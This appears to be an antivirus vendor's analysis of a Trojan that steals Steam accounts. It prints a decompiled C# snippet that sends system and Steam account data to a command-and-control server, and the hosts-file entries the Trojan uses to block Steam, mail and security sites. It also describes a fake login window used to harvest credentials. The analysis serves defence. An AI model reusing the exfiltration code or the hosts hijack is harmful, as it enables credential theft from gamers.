SHA1
- c58d6ff1237c6d9a4c52ec16808d6aaea75bc744
- fada030ae7b23b3599856f45824d2d2297407907
A Trojan designed to steal Steam user accounts. Shuts down running Steam processes (so long as they are not a process of the Trojan itself) and GameOverlayUI. Using the Windows system registry, it determines the path to the Steam directory, the operating system’s language settings, and the username from the AutoLoginUser field.
In the Steam folder, the Trojan checks for the presence of the file \config\loginusers.vdf: if it is available, the malicious program parses it and extracts pairs resembling “account name<=> steamid64”. Removes from the Steam directory the files \config\config.vdf and \config\DialogConfig.vdf.
The Trojan sends the collected information to a command and control server:
nameValueCollection.Add("type", "s");
nameValueCollection.Add("keyAccess", "704ef3531ab584ec3fec69d4e07e5bbb");
nameValueCollection.Add("systemOS", osName);
nameValueCollection.Add("systemUser", userName);
nameValueCollection.Add("systemMachine", machineName);
nameValueCollection.Add("languageOS", englishName);
nameValueCollection.Add("steamids", value);
nameValueCollection.Add("steamPath", Class2.Class3.SteamPath);
nameValueCollection.Add("steamLang", Class2.Class3.language);
nameValueCollection.Add("steamRememberL", Class2.Class3.AutoLoginUser);
new WebClient().UploadValues(Class2.Class3.cnc_address, "POST", nameValueCollection);
The steamids field contains a list of pairs from steamid64 and account names divided by the symbol “;”.
Then the malicious program checks whether it replaced the original executable file of the Steam application. If it did not, the Trojan removes the application file and copies itself to the same location.
It changes the contents of the file %SYSTEM%\drivers\etc\hosts:
\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n\n127.0.0.1 steampowered.com\n127.0.0.1 support.steampowered.com\n127.0.0.1 store.steampowered.com\n127.0.0.1 help.steampowered.com\n127.0.0.1 forums.steampowered.com\n127.0.0.1 crash.steampowered.com\n127.0.0.1 dota2lounge.com\n127.0.0.1 csgolounge.com\n127.0.0.1 virustotal.com\n127.0.0.1 mail.google.com\n127.0.0.1 mail.ru\n127.0.0.1 ukr.net\n127.0.0.1 rambler.ru\n127.0.0.1 yandex.ru\n127.0.0.1 web.de\n127.0.0.1 o2.pl\n127.0.0.1 login.live.com\n127.0.0.1 yahoo.com\n
Then the Trojan displays a fake Steam authorization window. If a user fills in login credentials, the Trojan will try to use them for authorization in Steam. If authorization is successful and if Steam Guard is enabled on a computer, the Trojan displays a window for inputting code. The malicious program sends the obtained data to the command and control server.
